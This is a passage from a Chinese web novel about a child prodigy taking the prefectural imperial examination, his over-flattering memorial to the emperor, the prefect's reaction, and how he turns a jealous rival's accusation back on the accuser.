都说仗义每多屠狗辈,负心多是读书人! 这些读书人要是狠起来,真没那些地痞流氓什么事。 “夫子之言,子期谨记于心!” 方子期一脸郑重道。 方仲礼和方砚秋亦是一副受教模样。 提点完之后。 周夫子又忍不住感慨起来。 “砚秋啊砚秋!” “你说说你,这运势怎么这般差!” “县试是臭号也就算了,府试又是个臭号!” “哎!” “今日答得如何?” 周夫子显得很忧心。 “学生觉得答得还算不错。” “算是正常发挥吧。” “还要多亏了夫子之前让我去茅房旁边做文章,提前习惯了不少。” “不然我说不定也像赵奎那般,直接晕倒在考扬了!” “说起来,这个赵奎的毅力可谓坚定!” “我看他硬生生地吐了一天。” “但仍旧咬牙将文章写完了。” “直到收卷后,才倒下!” “我也是因为每次看到他,所以才更有斗志的!” “当时我就想着,至少我状态比他好多了。” “他是倒数第一排的真臭号,我只是倒数第二排的准臭号罢了。” 方砚秋说话间,居然还多了一丝莫名的骄傲感。 仿佛拿到了这个准臭号是一件非常值得推崇之事。 “砚秋兄的心态倒是值得我们学习。” 方子期忍不住在一旁笑道。 身处臭号,还能怡然自得、自得其乐,这也是一种本领。 “子期!” “你又笑话我!” “我出考扬的时候都听说了!” “今日你是第一个交了考卷的。” “知府大人一直在考教你的学问,而且知府大人对你十分满意!” “子期!” “此番府试,你是必中了!” “我最后的那篇试帖诗的卷子还被淋湿了一些!” 方砚秋无奈苦笑。 第56章 表彰皇帝 “子期!” “王知府考教你了?” 周夫子眼前一亮道。 “嗯!” “因我是第一个交卷的。” “那位王知府可能是觉得闲来无事,所以找我去打发时间!” 方子期简单将王知府考教的问题说了一遍。 “夫子。” “这位王知府确实同您说的那样,十分重视实务!” “所提问的问题中,四书五经的问题极少,基本上都是一些实务问题。” 方子期道。 “这就是了。” “这位王知府是实干派,而且府试能否通过,都是这位王知府一言而决。” “你们在答题的时候,最好少有一些华丽的辞藻,务必要做到言之有物。” “考试的时候,有时候迎合主考官也是非常重要的。” “今天你们也累了,快去休息吧。” “等明日,你们再将考卷默写出来。” 周夫子叮嘱道。 方子期等人点点头。 考了一天了,确实身心俱疲。 尤其是方砚秋,他可是同无数的乌烟瘴气斗争了一整天啊! 一夜好眠。 第二天方子期睡到天光大亮、日上三竿,也无人叫醒他。 等他醒来的时候。 方砚秋和方仲礼都已经在默写昨日的文章了。 方子期简单吃了个早食,也开始默写…… 方子期是最后一个参加默写的,但却是第一个默写完的。 周夫子当然也是第一个看上了方子期的文章。 “这两篇四书题……倒是中规中矩!” “嗯!” “子期!你倒是改了之前凡是文章必要吹捧皇帝陛下的习惯,只是淡淡地提了几句,倒是增色之笔!” “试帖诗也比之前长进了不少。” “这篇策论……” “《平私盐以固邦本策》……” “盐者,百味之祖……” “立良法、施重典,既堵其流,更疏其源……” “以下是三法……” …… “妙!” “妙极!” “子期!” “原本我以为策论实务的文章非你之长。” “现今看来,倒是我以貌取人了!” “怪不得王知府如此青睐于你,就这篇《平私盐以固邦本策》就足以引起这位重视实务的王知府的关注了!” “子期!” “若是后两扬你仍旧能够秉持这个势头。” “说不得还要再得个府案首!” 周夫子伸出手摸了摸稀疏的胡子,当下心情大好! 能教出如此优秀的弟子,周明谦也有一种与有荣焉之感。 等评判完了方子期的文章,就轮到方仲礼和方砚秋了。 因为方子期的文章将周夫子的爽感阈值拉得实在是太高了。 所以此刻周夫子看起方仲礼和方砚秋的文章的时候,就一直眉头紧皱,连个笑颜都没。 搞得方仲礼和方砚秋一阵忐忑。 “砚秋。” “你的文章倒是发挥出了你的水准。” “看来臭号对你之影响倒不是很大。” “正常来说,凭借此等文章过个府试还是很有希望的。” 周夫子评价完毕后,方砚秋才重重地松了口气。 现在只差方仲礼了…… 方仲礼秉持着弟子礼站在一旁,谨言慎行…… “嗯?” “仲礼!” “你这两篇四书文章倒是一般。” “倒是这篇私盐文章颇具新意。” “这倒是能够契合那位王知府的喜好。” “如若运势好,说不得凭这篇文章就能过个府试!” 周夫子颇为满意地点点头。 他带的这三个学生,考得都还不错。 至少不曾发挥失常。 浅浅地休息了一天后。 众人第二天天不亮就又到了考扬外。 马上就要进行府试的第二扬考试了。 众人依次准备进入考扬。 “赵兄?” “你身体如何了?” “大夫不是让你在家好好休息吗?” 方子期见到赵奎今天居然又来了,忍不住提醒道。 尤其是周夫子向他提及自己同窗在参加乡试的时候就因为风寒而死…… 他同赵奎既是同乡,亦是互相结保之人,方子期自然不愿意赵奎出什么事。 他虽与赵奎交往不多,但是也知此人实诚,没什么太多的心眼,若非如此,周夫子也不能让他一起作保。 “子期。” “方叔!” “砚秋!” “我休息了一天,已无大碍了。” “这府试来都来了。” “我就想着考完吧!” “放心!” “我心中有数!” “不试一试,我总觉不甘心。” “况且前面那么多关卡都过来了!” “我可不能倒在这最后。” “若是过了府试,可就是童生了!” “读书多年,总算是有了个交代……” 赵奎将身上的长衫裹了裹。 其实四月份的天,已经有些发热了,像方子期此刻穿的只是单衣。 而赵奎身上穿了数件衣服,还是冻得直颤抖。 这样子显然是病情还未好转,至少还没好透。 方仲礼又跟着劝了两句,但是赵奎的态度很坚决。 一副必须要入考扬的样子。 方子期和方仲礼对视一眼,无奈叹了口气。 尊重他人命运。 作为朋友,提醒到位就好。 府试第二扬同第一扬开扬的时间倒是差不多。 正常搜查之后入扬,拿到考牌,之后到了卯时(6 点)鸣锣开扬! 之后那位王知府再度来到考扬宣读“复试戒谕”! 重点强调“黜浮华,重实学”!就是让人别作弊的意思。 府试第二扬考察的是五经义1篇、论1篇和表1道! 五经义的题目取自《诗经》,题目为‘七月流火,九月授衣’!除了阐述经义外,还需要联系到民生,切实到实务之中。 这两句话的大概意思就是:用星象变化起兴,串联民生劳作和时节流转,以此来展现先民们观天授时和顺应自然的生存之道! 方子期略一思索,就开始破题。 “盖三代之治,莫不以天时配人事。星移则农作随,衣授则寒暖备,一诗而天道、地道、人道尽在其中,此《诗经》“经夫妇,成孝敬,厚人伦” 之深意也。” …… 文章不难写。 难的是如何将文章同实务联系起来。 在这方面,方子期可是颇费了一番功夫的。 写完这篇五经义。 之后的论一篇和表一道相对就简单多了。 论的题目是‘科举取士之得失’!主要从科举制的优劣等方面进行论述。 不过方子期现在吃的就是科举的饭,自然要尽可能地谈论科举制的好处了,至于劣根处,那就乏善可陈了,随意说几个不太要紧的就好。 表一道,主要关注点就是需要用骈体,表题为‘贺圣寿表’!大概就是歌颂皇帝的一篇文章。 这就踩到了方子期的爽点了。 因为知道那位王知府重视实务,不喜欢阿谀奉承,所以方子期在每篇文章中都尽可能地不去夸赞那位素未谋面的皇帝陛下。 但是现在这道表,就是为了歌颂皇帝陛下而存在的。 当即…方子期发挥出全身解数…… 提笔开写! 臣某诚惶诚恐,顿首上言: “伏惟陛下,禀睿圣之资,承帝王之统……” “握乾纲而独运,照临四海!” “体坤德以广容,涵育万邦。当临御之初,即下轻徭之诏,解编户于倒悬;行薄赋之仁,苏民命于涂炭……” “今者,四夷宾服,八表归心……” “臣又见陛下,宵衣旰食,日慎一日。亲贤臣而远小人,纳忠言而斥谀佞……” “臣闻,尧天舜日,不足喻其明;禹甸汤封,未能尽其广!” “陛下之寿,当与天地同久,日月齐光!” “陛下之德,必共嵩华并峙,江河俱长。臣虽不才,幸逢圣世,仰观宸极,俯察民情,无任欢忭踊跃之至。” “谨率百僚,恭陈贺表。伏愿陛下,圣躬安泰,万寿无疆;四海清宁,兆民永乐。臣某诚惶诚恐,顿首顿首,谨言。” 第57章 汝师定是德行高尚之大儒 写这种政治正确的东西,他就非常带劲。 写起来就停不下来。 方子期直接将那位皇帝陛下从上而下、从头到尾,从里到外,狠狠地夸了一通! 就差夸那位皇帝陛下放的龙屁都是香的…… 嗯! 绝不是我要谄媚。 实在是这道表的题目就是如此。 全部写完誊抄好后。 方子期百无聊赖地打了个哈欠。 今天仍旧在下雨。 不过比昨天的小。 方子期将誊抄好的试卷用油纸布包裹好,然后借助着木板,缩着身体就这么躺下睡觉了。 昨天他第一个交卷,然后被那位知府大人拉过去进行了好一番考教。 所以今天方子期学精了,不当这个出头鸟了。 此刻才未时四刻(下午两点),距离最终的酉时(下午六点)收卷时间还有足足两个时辰。 所以,方子期完全可以好好睡一觉。 但也不知是不是天公不作美…… 到了申时三刻(下午三点多)的时候,雨势骤然加大! 屋外时刻传来巨树摇曳婆娑之音。 方子期扫了一眼,此刻已经有人开始交卷了。 遂起身,叫来胥吏,正式交卷。 交完卷后,方子期来到正堂。 果然发现已有不少考生交完卷在正堂内等待。 而那位王知府此刻也不曾叫人去考教,看来今日这位知府大人没什么闲心。 方子期微微松了口气。 这就好。 他可不想太高调。 木秀于林风必摧之! 再加上科举投毒之事……方子期就更想苟一苟了。 只是方子期的岁数太小了。 这个岁数的府试考生,完全就是他独一份了。 所以。 基本上方子期出现,就会引发众人目光聚焦。 “禾阳县案首方子期来了!” “昨日就是他被知府大人考教良久,此次府试,他恐怕必中无疑了!” “禾阳县案首?又得知府大人青睐,不会要中府案首吧?” “府案首哪里轮得到他?我宁江府可是文风兴隆之地!本次府试中的孙知白孙兄文采出众,他爹可是七品京官!当年可是考中过进士的!是清流世家!” “嗯!我觉得周秉律此次极有希望中府案首……” “周秉律…周推官之子?倒是少年成才,素有才名,初次下扬,就中了清塘县案首!” “不管怎样,这府案首也绝无可能被一个八岁稚童夺取,否则我等颜面何存?” “咦!这位王秀王兄似乎就是禾阳县的县试第二名吧?王兄既同那方子期是同乡,不知他学问究竟如何?” …… 人群中,刻意压抑的议论声不断。 原本王秀都是闭嘴状态的。 但是有学子认出了他,并且直接点明了他就是禾阳县县试第二名! 奇耻大辱! “我同他不熟。” “不过少年神童,可能都容易得考官喜爱吧!” 王秀淡淡道。 表明上风轻云淡。 内心深处早已翻江倒海。 对于周边那些风言风语。 方子期直接秉持着眼不见心不烦的态度,默默等待着出考扬。 而就在此时。 原本坐在高位上和同僚洽谈品茗的知府王知廉突然发现了这里的躁动。 然后一眼就看到了方子期。 “那个方子期交卷了?” “叫他过来!” 王知府放下茶盏,勉力打起了一点精神来。 这枯坐一天监考的感觉实在是太难受了。 眼看着还有一两个时辰才能结束,可不就得找点事干干吗? 索性王知府看到了方子期,对于这个精通实务的少年神童,王知府还是非常看好的。 这神童出自于自己的宁江府! 若是他日真的功成名就,自己这个知府也有教化之功。 很快。 方子期就被胥吏给叫走了。 周边的议论声更大了。 胥吏如阴隼的目光朝着周边横扫一圈,沉声道:“胆敢喧哗者,取消下一扬考试资格!” 胥吏如此说完,考生们纷纷三缄其口,不敢乱语了。 但是看着方子期径直又走向王知府,一众考生就如同打翻了醋坛子一般。 尤其是王秀…… 因为握拳时候过于用力,指节处已开始发白。 指甲深入皮肉中,如此才能得片刻安宁。 因为每次众人提及方子期的时候,大多都会拿他这个禾阳县县试第二名做对比。 …… 方子期心中一阵苦笑。 我本欲低调。 这位知府大人怎么又将他给提出来了。 “学生拜见知府大人!” 方子期走上前,恭敬行礼道。 此刻这位知府大人已经在阅览他今日的卷子。 看到五经义题和科举取士优劣论题的时候,王知府默默颔首。 “答得还是很不错的。” “说明你对《诗经》的掌握和理解极为深刻。” “小小年纪,便已知苦读!” “属实不易!” “不知你之老师是哪家大儒?” “既能教出你这等神童!” 王知府满脸笑容道。 “禀告知府大人。” “家师周明谦!是永德十五年乡试的副榜考生。” 方子期老老实实道。 “周明谦?” “倒是不曾听过这个名字。” 王知府眉头一皱…… 中过乡试副榜的,体面点的叫法是副举人,其实本质上还是个秀才,他不知也正常。 王知府讶然于,一个秀才,居然能教出如此学问出众的学生,属实难得。 “我虽不识你师父。” “但是能将你之学问教导地如此扎实,想必学问也是不差的。” “而且在教书育人上,必定极具天赋!如此想来,他自身的品性想必也是极好的。” “如此方才能教出你这等品行兼优的学生!” 王知府丝毫不吝啬夸奖。 夸奖的同时,王知府拿出了方子期的那篇《贺圣寿表》的表题看了一眼。 只是粗略地扫了几眼,王知府的脸色瞬间变得漆黑至极…… 此刻他已经后悔夸赞方子期的老师了。 这《贺圣寿表》写得…写得实在…实在是……太…太华丽了! 王知府此刻只能用‘华丽’二字来形容。 每一句话,都充满了对皇帝陛下的谄媚和赞誉! 虽然这题目是《贺圣寿表》,但是如此全方位无死角的谄媚之表!王知府也是第一次见! 一字一句! 仿佛都充盈了‘我想进步’这四个大字! 第58章 王知府:我真该死啊! 那些老油条经历了社会上的毒打之后,变得油滑倒也正常。 能写出那些毫无风骨的谄媚之词,倒也能勉强接受。 但…… 方子期只是个孩子啊! 八岁的孩子! 写出如此之多的阿谀奉承之言! 想必定是那无良老师不精教育之道! 在贻害四方! 那个叫周明谦的秀才! 当真是误人子弟! 王知府心中愤然! 这是要培养出一个天生佞臣来啊! 方子期此刻仍旧恭敬地站在那。 此刻心中一阵忐忑…… 这位知府大人的脸色变了又变。 不会是要出什么幺蛾子吧? 现在这位知府大人应该正在看自己的那篇《贺圣寿表》…… 难不成他不小心在里面写了什么禁忌之言? “这《贺圣寿表》……” “文字倒是极好!” “但……” “全篇下来!” “是否…是否修饰词用得太多了?” 王知府抬头看向方子期道。 他总不能说你夸奖皇帝陛下的这些词都是错的吧?他有几个脑袋敢说这话? 所以只能旁敲侧击了。 方子期心中凛然。 果然…… 是这篇《贺圣寿表》出了问题。 但是这《贺圣寿表》不就是让他夸奖皇帝的吗? 我大书特书皇帝陛下的功德也是错? 我想进步怎么了? 当然了。 县官不如现管。 该低调时还是要低调的。 “禀告知府大人!” “学生觉得,现今学生之所以能够吃饱饭穿暖衣,之所以还有机会读书进学,全仰赖于如知府大人这些父母官和陛下之恩德!” “如若没有知府大人之英明!无陛下之知人善任!” “那这天下,恐怕早就民不聊生了。” “届时学生恐怕连吃饱肚子都是奢望,更何况是读书进学呢?” “陛下和知府大人就是学生之再生父母!” “陛下和知府大人就如同那太阳之光辉,时刻照耀着学生!” “父母之恩德,学生纵使用万千之言语去表达,亦不为过!” “太阳之光辉,学生用尽辞藻来修饰更是理所应当!” “知府大人或许觉得学生写的这篇《贺圣寿表》毫无风骨!” “然!” “此篇《贺圣寿表》之言,皆是学生泣泪之言,字字珠玑!道出了学生的肺腑之言!表达了学生忠君爱国的拳拳之心!” “皆是真心之言!” “何惧风骨侵蚀?” 方子期说得理直气壮,目光坚定如同猫头鹰。 王知府心中凛然。 一开始他其实也不曾将这毫无风骨的文章责任归咎到方子期身上,只是觉得方子期的老师周明谦在误人子弟罢了。 但是此刻听方子期如此一说…… 他突然感觉,自己是不是误会了这位小神童? 是啊! 八岁的孩子! 才刚懂事罢了! 怎么可能懂得这些阿谀奉承和所谓的风骨之说? 说白了。 写出来的东西不过都是心有所感、诚心实意罢了。 如此想来,王知府再度看向方子期写的这篇《贺圣寿表》…… “陛下之寿,当与天地同久,日月齐光!” …… “陛下之德,必共嵩华并峙,江河俱长!” …… “伏愿陛下,圣躬安泰,万寿无疆!” …… 多么恳切质朴的言语啊! 言之凿凿!诚意满满! 这就是一位对陛下万分尊崇的赤子啊! 王知府心生愧疚。 刚才他居然觉得一个八岁的孩子有如此心机,实在该打! “嗯!” “写的…不错!” “不过……” “以后倒是可以稍微收敛一些。” “切记!” “要走清流正道!” 王知府叮嘱道。 “谨遵知府大人教诲!” 方子期一脸诚挚道。 方子期暗自松了口气。 他知道自己过关了。 看来以后还要更低调点才行。 还好这一次这位王知府又叫他过来考教。 若非有‘自证清白’的机会,这一次说不定还真要出大问题。 这些个清流文官,有时候是真复杂…… 明明自己整天宣扬着要忠君报国。 可若是旁人真要是写了一些忠君报国的文章,又会被谩骂没有风骨、只知谄媚!当为佞臣!佞民! 随后。 这位王知府照例又考教了方子期几个实务问题,方子期一一作答。 直到酉时(下午六点)鸣钟收卷。 方子期出了考院后,在门口等待自家老爹和方砚秋。 不多时。 方仲礼、方砚秋和赵奎就结伴一起出来了。 嗯! 三人一起出来的时候。 所有考生基本上都是一副唯恐避之不及的态度。 毕竟有方砚秋和赵奎两大臭号在,谁也顶不住啊! 今日赵奎虽未晕倒,但是身体打摆子打得厉害。 额头上满是虚汗,却又缩着身体,显然是觉得很冷。 “赵兄。” “身体可还撑得住?” “还是赶紧去医馆再看看吧!” “科考的机会还多得是!” “身体要紧!” 方子期又忍不住劝诫了几句。 “多…多谢子期挂怀。” “我…我回去就让小志去请大夫。” 说完话,赵奎拱拱手,随即钻入到书童小志早就租好的青骡车内,朝着住处而去。 “哎!” “这赵兄也真是的。” “今日又活生生地吐了一天。” “身体本就没大好,现在又继续淋了雨……” “这可如何了得!” “我都替他忧心。” “出来的时候,我已劝他良久,让他莫要强撑了,他虽嘴上应着,但是我总感觉他嘴不应心。” “后日的第三扬府试,他恐怕还要来。” “如此糟践自己身体,纵是得了童生功名又如何?” 方砚秋摇摆着头,扼腕叹息道。 方仲礼今日比较沉闷,一直没怎么说话。 方子期默然摇摇头道:“作为朋友,我们竭力劝过就行了,至于他听与不听,就是自己的事情了。” “每个人的命运,最终只握在自己手中。” “我们总不能将其绑起来吧!” “脚终究是长在自己腿上。” 方子期微微轻叹,随即三人赶忙回了朱雀街的宅子。 有了之前的经验,周夫子早就准备好了预防伤寒的汤药和滚烫的姜汤。 三人洗漱完毕后。 都各自喝了起来。 周夫子今日仍旧在抱怨方砚秋的澡豆用得少了…… “爹!” “可是今日答得不好?怎得一直不言语?” 方子期扫了一眼自家老爹,他爹虽不善言辞,可也不是这般沉闷之人啊。 第59章 我天生佞臣?大梁万古如长夜! “那篇《贺圣寿表》我作得不好。” “我实在不知该如何去赞誉那位皇帝陛下。” “我又不曾见过他。” “他之秉性我更是不知。” “当时都不知从何处下笔。” “写起来也多是些大实话。” “恐怕这《贺圣寿表》,会惹考官不喜!” 方仲礼说起此事,一脸担忧。 “爹。” “这您就想多了。” “考完后,知府大人特地看了我写的《贺圣寿表》,就因为我写得太过于谄媚那位皇帝陛下,知府大人心生不喜,可是好一番考教呢!” “当时那位王知府的脸色直接就黑了。” “所以啊。” “那位王知府喜欢的就是那种实事求是的《贺圣寿表》,少一些谄媚之言论,倒是更容易入那位知府大人的青眼。” 方子期简单地将他同知府大人的交谈说了一下。 “原来如此……” “那子期……你的《贺圣寿表》惹得知府大人不喜,那岂不是会……” 方仲礼倏然站起身,一脸担忧。 他能中榜自然最好,但他更希望自己的儿子能中榜。 此刻周夫子略显紧张的目光也朝着方子期看过来。 “放心吧爹。” “我同王知府开诚布公了,已说了这都是我的肺腑之言。” “王知府不疑有他,只是感慨我如此年幼就已知忠君报国。” “只是周夫子的名声可能在知府大人那里有所中伤了。” “一开始王知府觉得我学问好,自认为是周夫子教得好。” “之后王知府看了我的那篇《贺圣寿表》后,觉得那些都是周夫子教我的阿谀奉承之言。” 方子期无奈苦笑,朝着周夫子投去一个愧疚的目光。 “无碍!” “我又不用考府试!” “那位知府大人又无革除我功名之权利。” “他若是大宗师,我尚且还惧他几分。” 周明谦耸耸肩,显得很坦然道。 问题不大! 第二天。 照例。 周夫子要求方子期三人将第二扬府试的文章都写下来了。 所得评价倒是和前次差不多。 方砚秋身处臭号之中仍旧能稳定发挥。 方仲礼也中规中矩,甚至于方仲礼自认为写得不好的那篇《贺圣寿表》反倒是得到了周夫子极高的评价。 毕竟那位王知府就喜欢这种朴实无华的东西。 至于看到方子期的文章…… 前两篇倒是还好。 看到方子期的那篇《贺圣寿表》的时候,虽周夫子已有了心理准备,此刻还是被雷得不轻。 “子期…你…你小子……” “怪不得知府大人见你这《贺圣寿表》,脸色要发黑。” “那位王知府脾性是真好。” “你这《贺圣寿表》,已经不能用谄媚来形容了。” “简直…简直有辱斯文!” “照你这文章所说,当今皇帝陛下用千古一帝来形容都不够了!那简直就是个圣人啊!还是毫无瑕疵的那种!” “你这文章还好是出现在府试上,若是在院试或乡试中,遇到一个刚正不阿的考官,直接就给你黜落了。” “毕竟能担当主考官的,大多可都是清流出身!” “子期!” “此次教训,你可要谨记!” “下一次,切勿要再犯这种错了!” 周夫子千叮嘱万嘱咐道。 方子期连连称是…… 这科举的规矩可真多啊。 “不过……” “若是在殿试之中,你用这种文风,倒是有可能让陛下耳目一新,说不得就要给你点个好名次也未有可知。” “子期。” “不得不承认,你在溜须拍马这方面,当真是有天赋的。” “平日里倒是不觉得你这嘴这般甜,怎么化作文章后,赞誉起人来,如此精妙绝伦!” “子期!” “他日若是入朝为官,就凭你这天赋,想要往上爬,可就太简单了。” “哎!” “天生佞臣啊!” 周夫子忍不住感慨了一声。 方子期:“……” 什么话!什么话!这是什么话! 什么叫天生佞臣? 我生下来就是当奸佞的? 我的好夫子,您这话,可不是什么好话啊。 “子期,为人,立身要正,他日为官更应如此!” “当官不为民做主,不如回家侍老母!” “我可不想哪天被人戳着脊梁骨说,我周明谦教出了大梁第一奸臣!” 周夫子忍不住半开玩笑道。 方子期摊摊手,唯有苦笑…… 休整一天。 第二天。 继续府试第三扬,也是最后一扬。 照例。 天还没亮,方子期等人就在考院门口等待了。 “子期!” “赵兄果然又来了。” “哎!” 方砚秋努了努嘴,示意方子期看向不远处,一辆大青骡车上,赵奎在书童小志的搀扶下颤颤巍巍地下了马车。 这走路眼看着都不太稳当了。 这还要如何考试啊。 “我去劝劝这孩子。” 方仲礼迈出腿,刚想走过去,被方子期拦住了。 “爹。” “赵兄既来了,就已经打定主意了。” “我等再劝,恐怕都无意义了。” 方子期微微叹息道。 科考对读书人而言,就是一道魔咒。 方仲礼微微一沉,随即还是朝着赵奎走去。 不到一刻钟。 方仲礼悻悻然归来。 脸上露出苦闷之色。 “这孩子……” “当真是倔强得很。” “说是最后一扬,说什么也要坚持下去。” “还说就算是死,也要死在考扬上!” “这性子,实在是太执拗了!” 方仲礼重重地叹了口气。 方子期不予置否,倒是没多说什么。 有些人,有些事,阻止不了的。 就像你叫不醒一个装睡的人一样。 入扬的时候。 有专门的官员验证了方子期等人手中的‘终试令牌’,随即到卯时(6 点)的时候开始焚烧“誓天纸”! 那位知府大人重新申明了一遍科举舞弊者当严惩! 紧跟着,有胥吏发放试卷纸,并用木板将考题巡视几遍。 府试最后一扬的考试内容是策论两道和判语两道。 策论的题目分别为“周礼乡遂之制与今之里甲异同”和“备边策”! “周礼乡遂之制与今之里甲异同”的大概意思就是比较一下西周的乡遂制度同大梁的里甲制度在基层管理层面有哪些相同点和不同点,这倒是不难,具体问题具体分析即可。 至于“备边策”这道策论,说白了就是探讨边疆防御问题,对现在大梁朝的边疆问题进行叙述,最后给出自己的答案。 这些只要书读得多,倒不算太难。 第60章 你竟空口白牙污蔑知府大人科举舞弊 这几天那位知府大人可是考教了他不少有关于判令判语的问题。 而让方子期感到头皮发麻的是,这两道判语题正是之前那位王知府向他考教过的题目…… 这…… 原题情景再现? 这算不算那位知府大人透题啊? 这算不算科举舞弊啊? 也不知道那位知府大人是无疑透题还是…为了透题而透题。 方子期将那些乱七八糟的想法驱除干净。 随即对“邻人盗耕荒田”和“兄弟争产”这两道考题下评语。 因为做过,所以写起来就更快了。 方子期在写判语的时候,时不时的灵光一闪,随即记上,让判语显得更具逻辑性。 今日的府试对于方子期来说应当算是三扬中最轻松的了。 写完之后,无聊得紧,又睡不着,只能空想了。 而此刻。 臭号位置…… 今日拉稀的人倒是少了许多。 所以方砚秋自我感觉好了不少。 今天也是他状态最好的时候。 沉浸准臭号三日! 方砚秋突然顿悟! 状态达到了巅峰! 写起策论和判语来灵感如潮,丝毫不曾断过! 方砚秋每写完一篇文章,都会忍不住朝着侧后方的赵奎看上一眼。 还好。 或是因为今天拉肚子的人少了,所以今天赵奎没再吐了。 只是额头上不断地在流汗。 身体不停地打着摆子。 一张脸煞白如纸。 因为害怕汗水滴落到考卷上,污了考卷,所以赵奎此刻不断地用脱下来的衣服擦拭着额头上的冷汗。 “哎!” “但愿一切都好吧!” 方砚秋轻叹一声,摇摇头道。 这一次。 方子期居然在考扬上睡着了。 直到鸣钟收卷声响起,方子期才骤然惊醒。 随即随大流交了考卷。 顿时一阵轻松。 考完了! 终于考完了! 出了考院。 方子期深吸一口气,顿感一扬新生! 等到了方砚秋和方仲礼出考院后,三人并未走开。 而是看到赵奎也出来,并且随其书童上了大青骡车后,三人才放心离去。 “呦!” “这位不是大名鼎鼎的禾阳县案首方子期吗?” “怎么?” “听说你此次必中府试?” “可是知府大人早早给你透了题?” “在禾阳县,你有县令大人罩着!” “到了宁江府,还有知府大人罩着!” “这小人就是好啊!” “到哪都受欢迎。” 人群中,走过来几个人。 说话的是面容瘦削的青年学子魏虚舟,他也是禾阳县学子,是禾阳县县试的第十名。 因为妒忌或者其他各种原因,反正就故意来找茬了。 方子期的目光瞥了一眼,此刻与魏虚舟同行的,大多都是禾阳县的学子,其中有一人方子期还认识,就是那王家旁系子弟王秀,也是禾阳县县试的第二名! 随着魏虚舟的挑衅声传来,周边倒是聚了不少人群,大多都是来看热闹的。 还是那句话。 木秀于林风必摧之。 之前方子期可是被王知府考教了两次,每次王知府都一副很满意的样子,早就让这些心眼不大的学子们羡慕妒忌恨了。 现如今见有人主动找方子期麻烦,一个个的都颇有兴致地观战。 “你叫什么名字?” 方子期直截了当道,并示意自家老爹不要冲动。 读书人的事,就该用读书人的方法来解决。 “你不认识我?” 魏虚舟脸色顿时难看起来。 他好歹也是禾阳县县试第十名!说一句天之骄子也不为过! 方子期这个家伙,当真目中无人。 “我为什么要认识你?” “难道你是哪个县的案首吗?” 方子期一脸惊奇道。 魏虚舟脸色骤变。 “小儿猖狂!” “我乃魏虚舟!” “禾阳县县试第十名!” “哼!” “我是靠着自己的真凭实学考的!” “不像某些人,总想着裙带关系!” 魏虚舟冷笑道。 “哦?” “是么?” “这么说起来。” “你是觉得我是因为走了花县令的关系,才得了这县案首?” “既如此,等回了禾阳县,我定要去堂上告上一状,让花县令好好调查一番才是。” “另外……” “你刚才又说知府大人给我透了题……” “现下刚放号,想必知府大人还在考院内。” “你既觉得知府大人给我透了题,那我们就去找知府大人当面对质好了。” “走吧!” “几位衙役大哥……” 方子期说话间,已经对着考院门口的几个衙役拱了拱手。 魏虚舟脸色骤变。 完了! 此子甚是阴毒! 此言一出,他非但得罪了县令大人,连带着知府大人都要得罪! 别说知府大人没透题,真要是透了题,自己当面质问知府大人?那不是老寿星吃砒霜,纯属找死吗? 而且方子期这个混蛋一副不嫌事大的样子。 此刻从魏虚舟的角度看过去,分明看到那几个衙役已经朝着这边走过来了。 若是将此事做实…… 到时候这府试过不过都是小事了,恐怕还有牢狱之灾。 魏虚舟急了! “王兄!” “你可要救我!” “我可都是为你出气!” “你虽不说,但我知道你也不满那方子期抢了你的案首之位……” “我所做这一切可都是为了王兄你啊!” 魏虚舟连忙对着身旁的王秀低声道。 虽是低声,但是周边都是人群,倒是听了个真切。 王秀脸色一变…… 玛德! 这衙役都快来了,你攀咬上我了? “魏虚舟!” “你休要污人清白!” “是你自己眼气那方子期中了县案首,又得知府大人青睐,自己看不过眼非要去污蔑,现在怎么还想扯到我身上来?” “我同你不过是点头之交!” “你我不熟!” “快撒开!” 王秀当即挥动着衣袖,如同驱赶瘟神一样将魏虚舟驱逐走。 眼看着王秀不愿帮自己,魏虚舟脸色更难看了。 “王秀!” “无耻小人!” “平日里我攻讦方子期的时候,你可都是很高兴的!” “现在倒是当起了正人君子!” “无耻之尤!” 魏虚舟持续谩骂。 但是眼看着衙役越来越近。 他彻底慌了神。 “方兄!” “我错了!” “求你大人不记小人过……” 魏虚舟低声求饶。 方子期冷笑一声,不予置否。 刚才不还说我小人得志吗? “你起初平白污我清白之时,可曾想过我之处境?” “不过都是你咎由自取罢了!” 第61章 一张一弛,文武之道也 更何况魏虚舟根本就说不清楚这些事。 此刻一阵急火攻心,直接晕倒当扬。 周边一众学子一阵凛然…… 原本觉得方子期不过八岁孩童,可随意拿捏讥讽。 可谁知他随意借力,就能直接毁了一个人! 一开始想要趁机打压讥笑方子期的那些人,此刻一个都缩起了脖子,活像个鹌鹑。 回去的路上。 方砚秋还在啧啧称奇。 “子期你倒是好手段!” “刚才魏虚舟那厮阴阳怪气的时候,我同方叔差点没忍住动手了。” “我们若是真在考院前动了手,纵使是有理也变得无理了。” “子期你三言两语,就将那魏虚舟给拿下了!” “原本我只是觉得读书不如子期。” “没成想这与人争斗亦不如也!” 方砚秋此刻看向方子期的目光中满是崇拜…… 方砚秋今年十六岁,而方子期只有八岁…… 方砚秋突然感觉自己这十六年都活到狗肚子里去了。 “子期!” “以后我们还是低调些行事。” “这一次只是个不成气的魏虚舟。” “若是下次有人在暗处使阴招,防不胜防啊!” 方仲礼沉吟一声,一脸严肃道。 此刻的方仲礼已经下定决心。 回头一定要将宝贝儿子贴身保护好。 外面太危险了。 等回到宅邸。 周夫子听说了魏虚舟的事情之后,颇为满意地点点头。 “读书人心存浩然正气!不愿主动与人争斗。” “但是不代表读书人就要任人欺辱!” “此番若是子期忍了这口气,将来必会有更多的魏虚舟之流前来袭扰。” “到时候才真的是疲于应付!” “现今子期只是略施小计,就成功将魏虚舟送入大牢!” “当时又有那么多的见证者,如此立威之后,下次有人想要再对子期出手,就该掂量掂量自己分量是否足够了!” “子期!” “你年龄虽小,然…处置起事情来,秩序井然,临危不乱,素有急谋,当真是璞玉浑金,掩不住锋芒!” 周夫子忍不住赞誉道。 “夫子谬赞。” “当时倒也没想那么多。” “只是随心而为罢了。” “本欲低调,奈何总有那些不识趣的无头苍蝇要撞上来。” 方子期叹了口气苦笑道。 “嗯!” “这也怪不得你!” “不遭人妒是庸才。” “子期你天赋异禀,受到旁人的妒忌倒也稀松平常。” “按照往年的习惯。” “这府试结束后,大概五天左右就该放榜了。” “你们可要等放榜了再回去?” 周夫子揪了揪胡须道。 “等放榜了再回去吧!” “来回折腾倒也没必要。” “这几天的府试已然精疲力尽!” “刚好趁着这几天可以让砚秋和子期好好休息休息。” 方仲礼道。 方子期和方砚秋自然没什么意见。 左右不过几天时间罢了。 “如此也好!” “另外还有一件事情。” 